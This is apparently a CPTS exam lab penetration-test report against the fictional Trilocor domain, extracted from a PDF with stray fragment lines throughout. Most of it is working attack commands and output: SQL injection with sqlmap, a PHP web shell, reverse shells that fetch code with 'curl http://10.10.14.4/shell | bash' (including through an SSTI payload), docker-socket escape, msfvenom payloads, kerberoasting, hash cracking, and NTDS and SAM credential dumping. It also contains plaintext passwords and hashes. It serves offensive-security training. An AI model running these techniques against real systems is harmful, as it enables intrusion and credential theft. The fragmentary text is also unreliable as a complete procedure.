CPTS Report Nov 2024
CPTS Report Nov 2024
s
Not shown: 65524 closed tcp ports (reset)
PORT STATE SERVICE
m
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
xa
53/tcp open domain
80/tcp open http
110/tcp open pop3
111/tcp open rpcbind
re
143/tcp open imap
993/tcp open imaps
995/tcp open pop3s
7777/tcp open cbt
be
Nmap done: 1 IP address (1 host up) scanned in 67.52 seconds
trilocor.local
tp
v2.1.0-dev
________________________________________________
s
:: Method : GET
:: URL : http://trilocor.local/
m
:: Wordlist : FUZZ: /opt/useful/SecLists/Discovery/DNS/subdomains-
top1million-20000.txt
:: Header : Host: FUZZ.trilocor.local
xa
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
re
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 4662
________________________________________________
be
portal [Status: 200, Size: 2423, Words: 873, Lines: 59,
Duration: 144ms]
remote [Status: 200, Size: 1578, Words: 414, Lines: 35,
Duration: 142ms]
cy
store [Status: 200, Size: 13057, Words: 5397, Lines: 301,
Duration: 158ms]
dev [Status: 200, Size: 10918, Words: 3499, Lines: 376,
Duration: 4010ms]
e/
Duration: 158ms]
pr [Status: 200, Size: 21033, Words: 11361, Lines: 300,
Duration: 153ms]
:: Progress: [19966/19966] :: Job [1/1] :: 14 req/sec :: Duration: [0:03:58]
:: Errors: 0 ::
//t
be
kali@kali:~$ feroxbuster --url http://dev.trilocor.local
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
cy
by Ben "epi" Risher � ver: 2.10.4
───────────────────────────┬──────────────────────
� Target Url │ http://dev.trilocor.local
� Threads │ 50
e/
� Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-
medium-directories.txt
� Status Codes │ All Status Codes!
.m
� Timeout (secs) │ 7
� User-Agent │ feroxbuster/2.10.4
� Config File │ /etc/feroxbuster/ferox-config.toml
� Extract Links │ true
//t
──────────────────────────────────────────────────
404 GET 9l 31w 280c Auto-filtering found 404-like
response and created new filter; toggle off with --dont-filter
tp
http://dev.trilocor.local/icons/ubuntu-logo.png
200 GET 375l 964w 10918c http://dev.trilocor.local/
200 GET 1l 4w 87c http://dev.trilocor.local/transfer
Visiting http://dev.trilocor.local/transfer, we are redirected to
http://securetransfer-dev.trilocor.local.
kali@kali:~$ echo "10.129.xxx.xxx securetransfer-dev.trilocor.local" | sudo
tee -a /etc/hosts
10.129.xxx.xxx securetransfer-dev.trilocor.local
s
m
xa
re
be
Upon successful registration, users are redirected to http://securetransfer-
dev.trilocor.local/files.php, which appears to be a file management system.
cy
e/
.m
//t
s:
tp
xa
http://securetransfer-dev.trilocor.local/download.php?file=a44bzyaf-7dc5-
4570-b815-90d647a58a1f
re
vulnerability allows us to extract the real path of the uploaded shell.
be
cy
e/
.m
Firefox/115.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*
/*;q=0.8
s:
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
tp
Referer: http://securetransfer-dev.trilocor.local/files.php
Cookie: PHPSESSID=12ersd0u397tqsv8a6ur13ut4q
Upgrade-Insecure-Requests: 1
ht
kali@kali:~$ sqlmap -r request.txt --dbms=mysql --batch --dbs
s
m
xa
re
be
Dumping Databases
kali@kali:~$ sqlmap -r request.txt --dbms=mysql --batch -D securetransfer --
tables
cy
e/
.m
Dumping tables
//t
dev.trilocor.local/storage/2_92f8fd55-5100-4730-b313-ae83e4ea51b3.php
//t
s:
tp
ht
s
m
xa
re
be
cy
e/
.m
Reverse Shell
The reverse shell gives access to a docker container which can be identified by the
presence of .dockerenv file.
//t
xa
re
be
cy
e/
.m
README.md
Adding osticketapp.trilocor.local to /etc/hosts:
//t
re
be
cy
e/
.m
//t
re
be
cy
e/
gogsusdev01.trilocor.local
After registering we are redirected to home page!
s
m
xa
re
Gogs - Home Page
be
cy
Gogs - Public Repos
e/
By understanding the API through its documentation, we can exploit it to gain shell
access.
s:
application/json'
{"message":"Registration Successful."}
ht
s
kali@kali:~$ curl -s -X POST 'http://uat01-
eu.intranet.trilocor.local/auth/login' -d '{"username":"hacker",
m
"password":"P4ssword!"}' -H 'Content-Type: application/json'
{"message":"Authentication
Successful.","id":2,"username":"hacker","email":"hacker@htb.com","role":"admi
xa
n","token":"PHPSESSID=d40ji5im7r9akhg22bvtnp1nej"}
re
system($_GET['cmd']);?>"}' -b "PHPSESSID=d40ji5im7r9akhg22bvtnp1nej" -H
'Content-Type: application/json'
{"status":"success","message":"Support ticket submitted successfully."}
be
kali@kali:~$ curl -s -X POST 'http://uat01-
eu.intranet.trilocor.local/support/export/1' -d '{"type":"json.php"}' -b
"PHPSESSID=d40ji5im7r9akhg22bvtnp1nej" | jq -r '.url'
http://uat01-
cy
eu.intranet.trilocor.local/exports/tickets_2_20240713205305_92507f97_8f18_48a
5_8f52_29748855de6b.json.php
On your Kali machine, create a simple reverse shell script and serve it using Python’s
HTTP server:
kali@kali:~$ echo "sh -i >& /dev/tcp/10.10.14.4/1234 0>&1" > shell
.m
This will make the shell file accessible over HTTP on port 80.
//t
system:
kali@kali:~$ curl "http://uat01-
eu.intranet.trilocor.local/exports/tickets_2_20240713205305_92507f97_8f18_48a
ht
5_8f52_29748855de6b.json.php?cmd=curl%20http%3A%2F%2F10.10.14.4%2Fshell%20%7C
%20bash"
Verify the Connection
Once executed, you should see a connection from the target system, giving you an
interactive shell.
$ dir /home
websvc srvadm
s
$ ps auxww | grep srvadm
m
srvadm 1375 0.0 0.4 34240 26628 ? Ss 17:30 0:00
/usr/bin/python3 /home/srvadm/budget_calculator/server.py
srvadm 1580 0.0 0.3 34820 23760 ? S 17:30 0:00
xa
/usr/bin/python3 /home/srvadm/budget_calculator/server.py
srvadm 1598 0.0 0.4 34240 26696 ? S 17:30 0:00
/usr/bin/python3 /home/srvadm/budget_calculator/server.py
srvadm 1673 0.1 0.4 108956 25332 ? Sl 17:30 0:19
re
/usr/bin/python3 /home/srvadm/budget_calculator/server.py
be
cy
e/
.m
grep -v '#'
v2.1.0-dev
ht
________________________________________________
:: Method : GET
:: URL : http://trilocor.local:7777/FUZZ
:: Wordlist : FUZZ: /opt/useful/SecLists/Discovery/Web-
Content/directory-list-lowercase-2.3-medium.txt
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
s
________________________________________________
m
console [Status: 200, Size: 1563, Words: 330, Lines: 46,
Duration: 153ms]
xa
re
be
cy
Budget Calculator - PIN Protected Werkzeug Console
The Werkzeug Console PIN can be derived by reversing the algorithm used by
e/
probably_public_bits = [
'srvadm',
'flask.app',
'Flask',
'/usr/local/lib/python3.8/dist-packages/flask/app.py'
]
private_bits = [
'21108751877517',
'49967d13a6e2400c9aa2ce8a2a217dbebudget.service'
s
]
m
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
xa
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
re
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(b'pinsalt') be
cy
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
e/
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
.m
print(rv)
141-750-565
tp
ht
s
m
xa
re
Create a Reverse Shell Script
On your Kali machine, create a simple reverse shell script and serve it using Python’s
HTTP server:
be
kali@kali:~$ echo "sh -i >& /dev/tcp/10.10.14.4/1234 0>&1" > shell
kali@kali:~$ python3 -m http.server 80
cy
This will make the shell file accessible over HTTP on port 80.
Start a Netcat Listener
Prepare a listener to catch the reverse shell:
e/
Use following SSTI payload to download and execute the shell file:
__import__('os').popen('curl http://10.10.14.4/shell | bash').read();
This curl command downloads the shell script from your Python server (10.10.14.4)
//t
After executing the curl command, switch to your Netcat listener (nc -nvlp 1234) on
Kali Linux. You should see a connection from the target system, providing you with a
shell.
tp
ht
s
m
xa
re
be
cy
e/
.m
$ id
uid=1002(srvadm) gid=1002(srvadm) groups=1002(srvadm),119(docker)
//t
$ docker -H unix:///run/docker.sock ps
CONTAINER ID IMAGE COMMAND CREATED
STATUS PORTS NAMES
tp
s
Up About an hour (healthy) 22/tcp, 127.0.0.1:8006->3000/tcp gogs
d83970ae0de2 tmp_hr "/bin/sh -c 'apachec…" 03 months ago
m
Up About an hour 127.0.0.1:8003->80/tcp hr
04b86ab0ee13 tmp_jobs "httpd -DFOREGROUND" 03 months ago
Up About an hour 127.0.0.1:8002->80/tcp jobs
xa
6dcb61a613da mariadb:latest "docker-entrypoint.s…" 03 months ago
Up About an hour 3306/tcp joomladb
74193b2cce38 tmp_shop "/bin/sh -c 'apachec…" 03 months ago
Up About an hour 127.0.0.1:8004->80/tcp shop
re
$ docker -H unix:///run/docker.sock run --rm -d --privileged -v /:/hostsystem
securetransferprod
82b123332853f532af23cb0b0f50047c6dcb1fc6a2cfab0d7bf2f7bd631cfcfe
be
$ docker -H unix:///run/docker.sock exec -it 82b123332853 /bin/bash
root@82b123332853:/# cd /hostsystem/root/
root@82b123332853:/hostsystem/root# ls -la
cy
total 64
drwx------ 7 root root 4096 Jul 13 17:31 .
drwxr-xr-x 20 root root 4096 Aug 22 2022 ..
lrwxrwxrwx 1 root root 9 Aug 3 2022 .bash_history -> /dev/null
e/
root@82b123332853:/hostsystem/root/.ssh# ls -la
total 12
tp
Pivoting to 172.16.139.0/24
//t
# Downloading Binaries
$ mkdir ligolo && cd ligolo
$ wget https://github.com/nicocha30/ligolo-
s:
ng/releases/download/v0.6.2/ligolo-ng_agent_0.6.2_linux_amd64.tar.gz
$ wget https://github.com/nicocha30/ligolo-
ng/releases/download/v0.6.2/ligolo-ng_proxy_0.6.2_linux_amd64.tar.gz
tp
ng_proxy_0.6.2_linux_amd64.tar.gz
# Setting up interfaces
$ sudo ip tuntap add user kali mode tun ligolo
$ sudo ip link set ligolo up
# Hosting ligolo agent
kali@kali:~/ligolo$ python3 -m http.server 80
# Starting proxy
kali@kali:~/ligolo$ ./proxy -selfcert
s
m
xa
re
Downloading the Agent Binary on the Target System
be
root@WEB-NIX01:~$ wget http://10.10.14.4/ligolo/agent
root@WEB-NIX01:~$ chmod +x agent
root@WEB-NIX01:~$ ./agent -connect 10.10.14.4:11601 -ignore-cert
WARN[0000] warning, certificate validation disabled
cy
INFO[0000] Connection established addr="10.10.14.4:11601"
ligolo-ng » session
ligolo-ng » start
.m
The following hosts were found to be alive using tools like ping,nmap,fping and arp
s:
172.16.139.35
172.16.139.175
172.16.139.5
tp
MS01
ht
s
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
m
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
xa
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
re
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
be
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
cy
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
e/
| NetBIOS_Domain_Name: trilocor
| NetBIOS_Computer_Name: MS01
| DNS_Domain_Name: trilocor.local
s:
| DNS_Computer_Name: MS01.trilocor.local
| DNS_Tree_Name: trilocor.local
| Product_Version: 10.0.17763
tp
|_ System_Time: 2024-04-15T04:27:04+00:00
3700/tcp open giop CORBA naming service
|_giop-info: ERROR: Script execution failed (use -d to debug)
4848/tcp open http Oracle GlassFish application server
ht
s
|_http-title: GlassFish Server 3.1.2 - Server Running
| fingerprint-strings:
m
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Content-Type: text/html
xa
| Content-Length: 4806
| Date: Sun, 04 Jan 2024 04:24:02 GMT
| Connection: close
| <!--Arbortext, Inc., 1988-2008, v.4002-->
re
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
| <html lang="en">
| <!--
| ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER.
be
| Copyright (c) 2010, 2012 Oracle and/or its affiliates. All rights
reserved.
| subject to License Terms
| <head>
cy
|_ <style type="text/css"> body{margin-top:0} body,td,p,div,span,a,ul,ul
li, ol, ol li, ol li b, dl,h1,h2,h3,h4,h5,h6,li { font-
family:geneva,helvetica,arial,"lucida sans",sans-serif; font-size:10pt } h1
{font-size:18pt} h2 {font-size:14pt} h3 {font-size:12pt} code,kbd,tt,pre {
e/
| MS01.trilocor.local/7676/jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
| @127.0.0.1:50971
tp
| extends
| java.rmi.server.RemoteStub
| extends
| java.rmi.server.RemoteObject
ht
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
| @127.0.0.1:8686
| extends
| java.rmi.server.RemoteStub
| extends
|_ java.rmi.server.RemoteObject
10000/tcp open http Jetty 9.4.46.v20220331
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.4.46.v20220331)
s
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
m
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
xa
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
re
49669/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
49682/tcp open msrpc Microsoft Windows RPC
be
Aggressive OS guesses: Cisco 3500 XL switch (87%), Scientific Atlanta WebSTAR
EPC2203 cable modem (85%), 3Com Baseline Switch 2924-SFP or Cisco ESW-520
cy
switch or Allied Telesis AT-8000 series switch (85%), Allied Telesis AT-
8000S; Dell PowerConnect 2824, 3448, 5316M, or 5324; Linksys SFE2000P,
SRW2024, SRW2048, or SRW224G4; or TP-LINK TL-SL3428 switch (85%), Linksys
SRW2008MP switch (85%), Cisco SG 300-10, Dell PowerConnect 2748, Linksys
e/
| smb2-time:
| date: 2024-07-14T04:27:10
|_ start_date: N/A
tp
TRACEROUTE
HOP RTT ADDRESS
1 118.53 ms 172.16.139.35
ht
s
kali@kali:~/172.16.139.35$ sudo mount -t nfs 172.16.139.35:/MS01 ./target-
NFS/ -o nolock
m
kali@kali:~/172.16.139.35/target-NFS$ dir
apps dev docs prod public temp websites
xa
kali@kali:~/172.16.139.35/target-NFS$ ls -al apps/
total 10
drwx------ 2 nobody nogroup 64 Jul 26 2022 .
re
drwx------ 2 nobody nogroup 64 Aug 19 2022 ..
drwx------ 2 nobody nogroup 4096 Jul 26 2022 glassfish [>> Helpful! <<]
drwx------ 2 nobody nogroup 4096 Jul 26 2022 jboss
drwx------ 2 nobody nogroup 64 Jul 26 2022 tomcat
be
The contents of the file apps/glassfish/domains/domain1/config/local-password in
NFS Share /MS01 can be used as a password to log in to the control panel as admin.
cy
e/
.m
//t
http://172.16.139.35:4848/
s:
A malicious .war file generated using msfvenom can be used to get shell by uploading it
as a module/application.
tp
s
m
xa
re
be
cy
To catch the reverse shell, the port 1234 on our first victim machine, WEB-NIX01, must be
forwarded to our local port 1234.
e/
The malicious .war file generated using msfvenom is uploaded to the GoldFish Server.
//t
s:
tp
ht
s
m
xa
re
be
cy
Noting that it’s using the server name instead of IP address, an entry was added to the
hosts file:
e/
Privilege Escalation
The shell obtained via Glassfish service on ports 4848 and 8080, the user
svc_glassfish was identified.
s
m
xa
whoami /priv
re
To enable the necessary privileges, the EnableAllTokenPrivs.ps1 PowerShell script is
used.
meterpreter > upload ~/Transferables/Windows/EnableAllTokenPrivs.ps1
be
[*] Uploading : /home/kali/Transferables/Windows/EnableAllTokenPrivs.ps1 ->
EnableAllTokenPrivs.ps1
[*] Uploaded -1.00 B of 3.37 KiB (-0.03%):
/home/kali/Transferables/Windows/EnableAllTokenPrivs.ps1 ->
cy
EnableAllTokenPrivs.ps1
[*] Completed : /home/kali/Transferables/Windows/EnableAllTokenPrivs.ps1 ->
EnableAllTokenPrivs.ps1
e/
PS C:\glassfish3\glassfish\domains\domain1\config> .\EnableAllTokenPrivs.ps1
PS C:\glassfish3\glassfish\domains\domain1\config> whoami /priv
.m
PRIVILEGES INFORMATION
----------------------
s
m
Uploading payload
xa
re
be
cy
Setting up a meterpreter handler
e/
winlogon.exe 5596
After migration to winlogon.exe, initialize a new shell to confirm that it runs with NT
AUTHORITY\SYSTEM privileges.
ht
s
m
xa
Post-Exploitation
PS C:\users\pthorpe_adm> Get-ChildItem -Include * -File -Recurse -Force -
ErrorAction SilentlyContinue | Select-String -Pattern "WS01"
re
AppData\Roaming\Microsoft\Sticky
Notes\StickyNotes.snt:8:\pard\tx360\tx720\tx1080\tx1
440\tx1800\tx2160\tx2520\tx2880\tx3240\tx3600\tx3960\tx4320\tx4680\tx5040\tx5
be
400\tx57
60\tx6120\tx6480\tx6840\tx7200\tx7560\tx7920\tx8280\tx8640\tx9000\tx9360\tx97
20\tx100
80\tx10440\tx10800\tx11160\tx11520\f0\fs22 Test account provided by infra
cy
(172.16.139.175:WS01):\par
"C:\\users\\pthorpe_adm\\AppData\\Roaming\\Microsoft\\Sticky
Notes\\StickyNotes.snt"
[*] Downloading: C:\users\pthorpe_adm\AppData\Roaming\Microsoft\Sticky
.m
s
client = msgpackrpc.Client(msgpackrpc.Address(RADDR, 12345))
result = client.call('system_s','powershell',param)
m
kali@kali:~$ msfvenom -p windows/x64/meterpreter/reverse_tcp
LHOST=172.16.139.10 LPORT=1234 -f exe -o reverse.exe
xa
[-] No platform was selected, choosing Msf::Module::Platform::Windows from
the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
re
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exe
be
The generated payload (reverse.exe) was uploaded to the target system using
xfreerdp, which supports file copying and pasting through RDP sessions.
cy
e/
.m
//t
f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
:
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a18c38a95955fcc6ea8c0
.m
d978bba12bc:::
HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v
DisableRestrictedAdmin /d 0x0 /f
The operation completed successfully.
s:
Getting Administrator
tp
s
m
xa
re
be
cy
DC01
e/
(SMBv1:False)
SMB 172.16.139.3 445 DC01 [+]
trilocor.local\pthorpe:-pl,MKO)9ijn
s:
xa
A malicious .lnk file can be uploaded to the Print_jobs share using the netexec tool
with the slinky module. When the share is accessed, it enables us to capture the NTLM
hash of the user.
kali@kali:~$ netexec smb 172.16.139.3 -u pthorpe -p creds -M slinky -o
re
SERVER=172.16.139.10 NAME=important
be
cy
e/
Starting Responder
.m
//t
s:
tp
ht
s
m
xa
re
be
cy
e/
be
from HELP DESK MANAGERS group object. This allows jflemming to obtain a crackable
hash of the user ksalinas.
cy
e/
KSALINAS
//t
s:
rockyou.txt wordlist:
kali@kali:~$ hashcat -m 13100 ksalinas_hash ~/Desktop/rockyou.txt
ht
s
m
xa
re
Enumerating ACLs as ksalinas
PS C:\Users\Administrator\Desktop> $sid = Convert-NameToSid ksalinas
PS C:\Users\Administrator\Desktop> Get-DomainObjectACL -Identity * | ?
be
{$_.SecurityIdentifier -eq $sid}
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
.m
AccessMask : 8
SecurityIdentifier : S-1-5-21-748909465-2105014040-255522671-4632
AceType : AccessAllowed
AceFlags : ContainerInherit
IsInherited : False
//t
InheritanceFlags : ContainerInherit
PropagationFlags : None
AuditFlags : None
s:
intervention.
This allows us to add the user ksalinas to the MSSP Connect group, granting them all
the privileges of that group:
ht
s
m
xa
The members of the MSSP CONNECT group have the WriteOwner privilege on the TIER I
INFRASTRUCTURE group object.
re
be
cy
e/
.m
The WriteOwner permission in Active Directory (AD) allows a user to change the
ownership of an object.
//t
s
m
The members of TIER I INFRASTRUCTURE have GenericWrite on FILESHARE ADMINS
xa
group object:
re
be
cy
e/
The user ksalinas inherits READ, WRITE on the share Department Shares from
s:
xa
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Tue Jan 16 12:54:25 2023
re
.. D 0 Tue Jan 16 12:54:25 2023
Accounting D 0 Tue Jul 26 17:37:20 2022
Executives D 0 Tue Jul 26 17:37:17 2022
be
Finance D 0 Tue Jul 26 17:37:14 2022
HR D 0 Tue Jul 26 17:37:03 2022
IT D 0 Tue Jul 26 17:37:00 2022
Marketing D 0 Tue Jul 26 17:37:10 2022
cy
R&D D 0 Tue Jul 26 17:37:07 2022
c
10328063 blocks of size 4096. 6980936 blocks available
smb: \> cd IT
e/
s
smb: \IT\Private\> cd IT_BACKUP02072022
smb: \IT\Private\IT_BACKUP02072022\> dir
m
. D 0 Tue Jul 26 17:38:30 2022
.. D 0 Tue Jul 26 17:38:30 2022
Trilocor_backup_03072022.vc A 16777216 Wed Jul 27 00:01:44 2022
xa
10328063 blocks of size 4096. 6980936 blocks available
smb: \IT\Private\IT_BACKUP02072022\> exit
re
kali@kali:~/CPTS/172.16.139.3$ sudo mount -t cifs //172.16.139.3/'Department
Shares' . -o user=ksalinas
Password for ksalinas@//172.16.139.3/Department Shares:
be
kali@kali:~/CPTS/172.16.139.3/Department_Shares$ sudo cp
IT/Private/IT_BACKUP02072022/Trilocor_backup_03072022.vc ../
cy
Cracking the veracrypt vault using hashcat with rockyou.txt wordlist:
kali@kali:~/CPTS$ hashcat -m 13751 Trilocor_backup_03072022.vc
~/Desktop/rockyou.txt
e/
.m
//t
s:
tp
ht
The volume has been mounted to our machine. We can browse the volume simply by
//t
Cracking the master password of .psafe3 file using hashcat with rockyou.txt wordlist.
ht
s
m
kali@kali:~$ hashcat -m 5200 ./trilocor_svc_vault.psafe3
~/Desktop/rockyou.txt
xa
re
be
cy
e/
.m
Using the software Password Safe, we can open the .psafe3 file containing the
password for user svc_trilocorsync:
Synchronicity_21
//t
ExecutionPolicy Unrestricted
PS C:\Users\Administrator\Desktop> Import-Module .\PowerView.ps1
$SecPassword)
be
kali@kali:~$ secretsdump.py -just-dc
trilocor.local/SVC_TRILOCORSYNC@172.16.139.3
Impacket v0.11.0 - Copyright 2023 Fortra
cy
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
e/
Administrator:500:aad3b435b51404eeaad3b435b51404ee:716ee2e3322df8be443de416ca
20154f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
:
.m
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f15e59fe4d6812b54e265d9a48354848:
::
trilocor.local\avazquez:1724:aad3b435b51404eeaad3b435b51404ee:762cbc5ea2edfca
03767427b2f2a909f:::
//t
trilocor.local\pfalcon:1725:aad3b435b51404eeaad3b435b51404ee:f8e656de86b8b132
44e7c879d8177539:::
<SNIP>
s:
DC02
tp
samaccountname
--------------
svc_datakeeper
krbtgt
s
C:\Users\Administrator\Documents> .\Rubeus.exe kerberoast
/domain:trilocorai.local /user:svc_datakeeper /nowrap
m
xa
re
Cracking the retrieved password hash using hashcat with rockyou.txt wordlist:
be
kali@kali:~$ hashcat -m 13100 hash_svc_datakeeper ~/Desktop/rockyou.txt
kali@kali:~$ hashcat -m 13100 hash_svc_datakeeper ~/Desktop/rockyou.txt --
show
cy
e/
.m
GROUP INFORMATION
tp
-----------------
s
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2
m
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11
Mandatory group, Enabled by default, Enabled group
xa
NT AUTHORITY\This Organization Well-known group S-1-5-15
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10
Mandatory group, Enabled by default, Enabled group
re
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Searching for user passwords in event logs, I found the password of svc_veracrypt:
be
*Evil-WinRM* PS C:\Users\svc_datakeeper\Desktop> wevtutil qe Security
/rd:true /f:text | Select-String "/user"
User svc_veracrypt has SeBackupPrivilege, which means we can backup and access
any file we desire:
*Evil-WinRM* PS C:\Users\svc_veracrypt\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
s
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
m
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
xa
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
re
kali@kali:~$ wget
https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilege
CmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
be
kali@kali:~$ wget
https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilege
CmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
Uploading to DC02
cy
*Evil-WinRM* PS C:\Users\svc_veracrypt\Documents> upload
/home/kali/SeBackupPrivilegeCmdLets.dll
e/
Backing up flag.txt
*Evil-WinRM* PS C:\Users\svc_veracrypt\Documents> Copy-FileSeBackupPrivilege
C:\Users\Administrator\Desktop\flag.txt C:\Temp\flag.txt -overwrite
tp
<SNIP>
Dumping hashes
*Evil-WinRM* PS C:\Users\svc_veracrypt\Documents> cd c:\
*Evil-WinRM* PS C:\Users\svc_veracrypt\Documents> mkdir Temp
Directory: C:\
s
d----- 11/10/2000 10:05 PM Temp
m
*Evil-WinRM* PS C:\Users\svc_veracrypt\Documents> reg save hklm\sam
c:\Temp\sam
The operation completed successfully.
xa
*Evil-WinRM* PS C:\Users\svc_veracrypt\Documents> reg save hklm\system
c:\Temp\system
The operation completed successfully.
re
*Evil-WinRM* PS C:\Users\svc_veracrypt\Documents> cd Temp
*Evil-WinRM* PS C:\Users\svc_veracrypt\Documents> download sam
be
*Evil-WinRM* PS C:\Users\svc_veracrypt\Documents> download system